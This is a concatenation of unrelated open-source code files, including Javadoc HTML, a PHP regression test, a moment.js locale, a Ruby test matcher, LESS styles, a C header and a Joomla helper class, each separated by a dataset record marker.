<dl><dt><span class="strong">Parameters:</span></dt><dd><code>msg</code> - The message</dd><dd><code>cause</code> - The cause</dd></dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/KeyNotFoundException.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../propel/core/collections/IValueStore.html" title="interface in propel.core.collections"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../propel/core/collections/KeyValuePair.html" title="class in propel.core.collections"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../index.html?propel/core/collections/KeyNotFoundException.html" target="_top">Frames</a></li>
<li><a href="KeyNotFoundException.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#methods_inherited_from_class_java.lang.Throwable">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li>Method</li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| {
"pile_set_name": "Github"
} |
./test/schemas/ns0_0.xml fails to validate
| {
"pile_set_name": "Github"
} |
--TEST--
Bug #73392 (A use-after-free in zend allocator management)
--FILE--
<?php
class Rep {
public function __invoke() {
return "d";
}
}
class Foo {
public static function rep($rep) {
return "ok";
}
}
function b() {
return "b";
}
var_dump(preg_replace_callback_array(
array(
"/a/" => 'b', "/b/" => function () { return "c"; }, "/c/" => new Rep, "reporting" => array("Foo", "rep"), "a1" => array("Foo", "rep"),
), 'a'));
?>
--EXPECTF--
Warning: preg_replace_callback_array(): Delimiter must not be alphanumeric or backslash in %sbug73392.php on line %d
Warning: preg_replace_callback_array(): Delimiter must not be alphanumeric or backslash in %sbug73392.php on line %d
NULL
| {
"pile_set_name": "Github"
} |
{
"name": "com.vrmc.univrm",
"version": "0.56.3",
"displayName": "VRM",
"description": "VRM importer",
"unity": "2018.4",
"keywords": [
"vrm",
"importer",
"avatar",
"vr"
],
"author": {
"name": "VRM Consortium"
},
"dependencies": {
"com.vrmc.vrmshaders": "0.56.3"
}
} | {
"pile_set_name": "Github"
} |
//------------------------------------------------------------------------------
// CLING - the C++ LLVM-based InterpreterG :)
//
// This file is dual-licensed: you can choose to license it under the University
// of Illinois Open Source License or the GNU Lesser General Public License. See
// LICENSE.TXT for details.
//------------------------------------------------------------------------------
// RUN: cat %s | %cling -I%p 2>&1 | FileCheck %s
// The main issue is that expected - error is not propagated to the source file and
// the expected diagnostics get misplaced.
.x CannotDotX.h()
// expected-warning{{'CannotDotX' missing falling back to .L}}
// Here we cannot revert MyClass from CannotDotX.h
.L CannotDotX.h
MyClass m;
// CHECK: MyClass ctor called
.L CannotDotX.h
// CHECK: MyClass dtor called
.q
| {
"pile_set_name": "Github"
} |
//! moment.js locale configuration
//! locale : Arabic (Morocco) [ar-ma]
//! author : ElFadili Yassine : https://github.com/ElFadiliY
//! author : Abdel Said : https://github.com/abdelsaid
;(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined'
&& typeof require === 'function' ? factory(require('../moment')) :
typeof define === 'function' && define.amd ? define(['../moment'], factory) :
factory(global.moment)
}(this, (function (moment) { 'use strict';
var arMa = moment.defineLocale('ar-ma', {
months : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'),
monthsShort : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'),
weekdays : 'الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
weekdaysShort : 'احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت'.split('_'),
weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'),
weekdaysParseExact : true,
longDateFormat : {
LT : 'HH:mm',
LTS : 'HH:mm:ss',
L : 'DD/MM/YYYY',
LL : 'D MMMM YYYY',
LLL : 'D MMMM YYYY HH:mm',
LLLL : 'dddd D MMMM YYYY HH:mm'
},
calendar : {
sameDay: '[اليوم على الساعة] LT',
nextDay: '[غدا على الساعة] LT',
nextWeek: 'dddd [على الساعة] LT',
lastDay: '[أمس على الساعة] LT',
lastWeek: 'dddd [على الساعة] LT',
sameElse: 'L'
},
relativeTime : {
future : 'في %s',
past : 'منذ %s',
s : 'ثوان',
m : 'دقيقة',
mm : '%d دقائق',
h : 'ساعة',
hh : '%d ساعات',
d : 'يوم',
dd : '%d أيام',
M : 'شهر',
MM : '%d أشهر',
y : 'سنة',
yy : '%d سنوات'
},
week : {
dow : 6, // Saturday is the first day of the week.
doy : 12 // The week that contains Jan 1st is the first week of the year.
}
});
return arMa;
})));
| {
"pile_set_name": "Github"
} |
module Paperclip
module Shoulda
module Matchers
def validate_attachment_content_type name
ValidateAttachmentContentTypeMatcher.new(name)
end
class ValidateAttachmentContentTypeMatcher
def initialize attachment_name
@attachment_name = attachment_name
end
def allowing *types
@allowed_types = types.flatten
self
end
def rejecting *types
@rejected_types = types.flatten
self
end
def matches? subject
@subject = subject
@allowed_types && @rejected_types &&
allowed_types_allowed? && rejected_types_rejected?
end
def failure_message
"Content types #{@allowed_types.join(", ")} should be accepted" +
" and #{@rejected_types.join(", ")} rejected by #{@attachment_name}"
end
def negative_failure_message
"Content types #{@allowed_types.join(", ")} should be rejected" +
" and #{@rejected_types.join(", ")} accepted by #{@attachment_name}"
end
def description
"validate the content types allowed on attachment #{@attachment_name}"
end
protected
def allow_types?(types)
types.all? do |type|
file = StringIO.new(".")
file.content_type = type
attachment = @subject.new.attachment_for(@attachment_name)
attachment.assign(file)
attachment.errors[:content_type].nil?
end
end
def allowed_types_allowed?
allow_types?(@allowed_types)
end
def rejected_types_rejected?
not allow_types?(@rejected_types)
end
end
end
end
end
| {
"pile_set_name": "Github"
} |
@import (reference) 'config';
@import (reference) 'icons';
.toaster-tokenomica {
display: none;
position: fixed;
bottom: 0;
left: 0;
justify-content: space-between;
background: @color-black;
padding: 25px 32px;
width: 100%;
z-index: 5;
transform: translateY(0);
transition: transform 0.2s;
&__link {
display: flex;
flex: 1 0;
justify-content: space-between;
align-items: center;
}
&__logo {
background: @logo-tokenomica-icon center no-repeat;
background-size: 100%;
width: 184px;
height: 40px;
flex-shrink: 0;
margin-right: 16px;
}
&__text {
font-size: 20px;
color: @color-white;
line-height: 18px;
}
&__text-wrapper {
display: flex;
flex: 1 0;
justify-content: space-between;
align-items: center;
margin-left: 80px;
}
&__button {
button {
border-radius: 0;
}
.button__content {
font-size: 20px;
font-weight: bold;
}
}
&__close {
display: flex;
align-items: center;
margin-left: 36px;
&-icon {
background: @close-tokenomica-icon center no-repeat;
border: 0;
width: 16px;
height: 16px;
&:hover {
opacity: .5;
}
}
}
&.hidden-toaster {
transform: translateY(100%);
}
@media screen and (max-width: 768px) {
padding: 24px;
border-radius: 16px 16px 0 0;
align-items: flex-start;
&__link {
flex-direction: column;
align-items: flex-start;
}
&__logo {
margin: 0 0 16px 0;
width: 109px;
height: 24px;
}
&__text-wrapper {
flex-direction: column;
align-items: flex-start;
width: 100%;
margin-left: 0;
}
&__text {
font-size: 14px;
margin: 0 0 16px 0;
line-height: 20px;
width: 100%;
}
&__button {
width: 100%;
.button {
width: 100%;
}
.button__content {
font-size: 16px;
}
}
&__close {
margin: -6px;
}
}
}
.toaster_tokenomica_visible {
display: flex;
} | {
"pile_set_name": "Github"
} |
// Data structure definition for complex numbers
#pragma once
typedef struct _COMPLEX8 { __int8 re, im; } COMPLEX8, *PCOMPLEX8;
typedef struct _COMPLEX16 { __int16 re, im; } COMPLEX16, *PCOMPLEX16;
typedef struct _COMPLEX32 { __int32 re, im; } COMPLEX32, *PCOMPLEX32;
typedef struct _COMPLEX64 { __int64 re, im; } COMPLEX64, *PCOMPLEX64;
typedef struct _COMPLEXU8 { unsigned __int8 re, im; } COMPLEXU8, *PCOMPLEXU8;
typedef struct _COMPLEXU16 { unsigned __int16 re, im; } COMPLEXU16, *PCOMPLEXU16;
typedef struct _COMPLEXU32 { unsigned __int32 re, im; } COMPLEXU32, *PCOMPLEXU32;
typedef struct _COMPLEXU64 { unsigned __int64 re, im; } COMPLEXU64, *PCOMPLEXU64;
typedef struct _COMPLEXF { float re, im; } COMPLEXF, *PCOMPLEXF;
| {
"pile_set_name": "Github"
} |
// Track element + Timed Text Track API
// http://www.w3.org/TR/html5/video.html#the-track-element
// http://www.w3.org/TR/html5/media-elements.html#text-track-api
//
// While IE10 has implemented the track element, IE10 does not expose the underlying APIs to create timed text tracks by JS (really sad)
// By Addy Osmani
Modernizr.addTest({
texttrackapi: (typeof (document.createElement('video').addTextTrack) === 'function'),
// a more strict test for track including UI support: document.createElement('track').kind === 'subtitles'
track: ('kind' in document.createElement('track'))
});
| {
"pile_set_name": "Github"
} |
export default curry
/*
* Original Source: https://stackoverflow.com/a/14045565/6121634
* Updated to ES6 format to meet style guides via:
* https://github.com/getify/Functional-Light-JS/blob/master/manuscript/ch3.md/#some-now-some-later
*
* This utility function takes a function as a parameter and returns a curried version of the function.
*
* @param {Function} func - The function to be curried
* @return {Function} - The curried version of the initially provided function
*/
function curry(fn, arity = fn.length) {
return (function nextCurried(prevArgs) {
return function curried(nextArg) {
const args = [...prevArgs, nextArg]
if (args.length >= arity) {
return fn(...args)
} else {
return nextCurried(args)
}
}
})([])
}
| {
"pile_set_name": "Github"
} |
module.exports = {
id: "block2kit8994",
thumbnailWidth: 600,
thumbnailHeight: 352,
title: "block2kit8994",
keywords: "gallery,image",
cat: [5588],
type: 1,
pro: true,
resolve: {
"type": "Section",
"value": {
"_styles": [
"section"
],
"items": [
{
"type": "SectionItem",
"value": {
"_styles": [
"section-item"
],
"items": [
{
"type": "Row",
"value": {
"_styles": [
"row",
"hide-row-borders",
"padding-0"
],
"items": [
{
"type": "Column",
"value": {
"_styles": [
"column"
],
"items": [
{
"type": "Wrapper",
"value": {
"_styles": [
"wrapper",
"wrapper--image"
],
"items": [
{
"type": "Image",
"value": {
"_styles": [
"image"
],
"imageWidth": 360,
"imageHeight": 725,
"imageSrc": "d03-Img-Plant.jpg",
"height": 100,
"positionX": 50,
"positionY": 50,
"imagePopulation": "",
"borderRadiusType": "custom",
"borderRadius": 6,
"tempBorderRadius": 6,
"tabletHeight": 84,
"mobileHeight": 23,
"mobileResize": 96
}
}
],
"mobileMarginType": "grouped"
}
}
],
"width": 33.3,
"tabletWidth": 37,
"tabletPaddingRight": 0,
"tabletPaddingRightSuffix": "px",
"tabletPadding": 15,
"tabsState": "tabNormal",
"tabsCurrentElement": "tabCurrentElement",
"tabsColor": "tabOverlay"
}
},
{
"type": "Column",
"value": {
"_styles": [
"column"
],
"items": [
{
"type": "Wrapper",
"value": {
"_styles": [
"wrapper",
"wrapper--image"
],
"items": [
{
"type": "Image",
"value": {
"_styles": [
"image"
],
"imageWidth": 750,
"imageHeight": 362,
"imageSrc": "d03-Img-Patchouli.jpg",
"height": 100,
"positionX": 50,
"positionY": 50,
"imagePopulation": "",
"mobileResize": 96,
"borderRadiusType": "custom",
"borderRadius": 6,
"tempBorderRadius": 6
}
}
],
"mobileMarginType": "grouped"
}
},
{
"type": "Wrapper",
"value": {
"_styles": [
"wrapper",
"wrapper--spacer"
],
"items": [
{
"type": "Spacer",
"value": {
"_styles": [
"spacer"
],
"height": 5,
"tabletHeight": 0
}
}
],
"showOnTablet": "off",
"showOnMobile": "off"
}
},
{
"type": "Row",
"value": {
"_styles": [
"row",
"hide-row-borders",
"padding-0"
],
"items": [
{
"type": "Column",
"value": {
"_styles": [
"column"
],
"items": [
{
"type": "Wrapper",
"value": {
"_styles": [
"wrapper",
"wrapper--image"
],
"items": [
{
"type": "Image",
"value": {
"_styles": [
"image"
],
"imageWidth": 360,
"imageHeight": 332,
"imageSrc": "d03-Img-Lipstick.jpg",
"height": 100,
"positionX": 50,
"positionY": 50,
"imagePopulation": "",
"mobileResize": 96,
"mobileHeight": 60,
"borderRadiusType": "custom",
"borderRadius": 6,
"tempBorderRadius": 6
}
}
],
"mobileMarginType": "grouped"
}
}
],
"paddingLeft": 0,
"paddingLeftSuffix": "px",
"padding": 15,
"tabsState": "tabNormal",
"tabsCurrentElement": "tabCurrentElement",
"tabsColor": "tabOverlay",
"tabletPaddingType": "ungrouped",
"tabletPadding": 0,
"tabletPaddingSuffix": "px",
"tabletPaddingTop": 0,
"tabletPaddingRight": 15,
"tabletPaddingBottom": 0,
"tabletPaddingLeft": 0,
"tabletPaddingRightSuffix": "px"
}
},
{
"type": "Column",
"value": {
"_styles": [
"column"
],
"items": [
{
"type": "Wrapper",
"value": {
"_styles": [
"wrapper",
"wrapper--image"
],
"items": [
{
"type": "Image",
"value": {
"_styles": [
"image"
],
"imageWidth": 360,
"imageHeight": 332,
"imageSrc": "d03-Img-Chair-1.jpg",
"height": 100,
"positionX": 50,
"positionY": 50,
"imagePopulation": "",
"mobileResize": 96,
"mobileHeight": 52,
"borderRadiusType": "custom",
"borderRadius": 6,
"tempBorderRadius": 6
}
}
],
"mobileMarginType": "grouped"
}
}
],
"paddingRight": 0,
"paddingRightSuffix": "px",
"padding": 15,
"tabsState": "tabNormal",
"tabsCurrentElement": "tabCurrentElement",
"tabsColor": "tabOverlay",
"tabletPaddingType": "ungrouped",
"tabletPadding": 0,
"tabletPaddingSuffix": "px",
"tabletPaddingTop": 0,
"tabletPaddingRight": 0,
"tabletPaddingBottom": 0,
"tabletPaddingLeft": 15,
"tabletPaddingLeftSuffix": "px"
}
}
]
}
}
],
"width": 66.7,
"tabletWidth": 62.8
}
}
]
}
}
],
"paddingType": "ungrouped",
"paddingTop": 100,
"paddingBottom": 100,
"padding": 75,
"tabsColor": "",
"bgColorPalette": "color2",
"tempBgColorPalette": "color2",
"bgColorOpacity": 1,
"borderRadius": 0,
"borderTopLeftRadius": 0,
"borderTopRightRadius": 0,
"borderBottomLeftRadius": 0,
"borderBottomRightRadius": 0,
"tempBorderTopLeftRadius": 0,
"tempBorderTopRightRadius": 0,
"tempBorderBottomLeftRadius": 0,
"tempBorderBottomRightRadius": 0,
"tabsState": "tabNormal",
"tabsCurrentElement": "tabCurrentElement"
}
}
]
}
}
}; | {
"pile_set_name": "Github"
} |
<?php
/**
* @package Joomla.Component.Builder
*
* @created 30th April, 2015
* @author Llewellyn van der Merwe <http://www.joomlacomponentbuilder.com>
* @github Joomla Component Builder <https://github.com/vdm-io/Joomla-Component-Builder>
* @copyright Copyright (C) 2015 - 2020 Vast Development Method. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
// No direct access to this file
defined('JPATH_PLATFORM') or die;
/**
* Utility class to render a list view batch selection options
*
* @since 3.0
*/
abstract class JHtmlBatch_
{
/**
* ListSelection
*
* @var array
* @since 3.0
*/
protected static $ListSelection = array();
/**
* Render the batch selection options.
*
* @return string The necessary HTML to display the batch selection options
*
* @since 3.0
*/
public static function render()
{
// Collect display data
$data = new stdClass;
$data->ListSelection = static::getListSelection();
// Create a layout object and ask it to render the batch selection options
$layout = new JLayoutFile('batchselection');
$batchHtml = $layout->render($data);
return $batchHtml;
}
/**
* Method to add a list selection to the batch modal
*
* @param string $label Label for the menu item.
* @param string $name Name for the filter. Also used as id.
* @param string $options Options for the select field.
* @param bool $noDefault Don't the label as the empty option
*
* @return void
*
* @since 3.0
*/
public static function addListSelection($label, $name, $options, $noDefault = false)
{
array_push(static::$ListSelection, array('label' => $label, 'name' => $name, 'options' => $options, 'noDefault' => $noDefault));
}
/**
* Returns an array of all ListSelection
*
* @return array
*
* @since 3.0
*/
public static function getListSelection()
{
return static::$ListSelection;
}
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.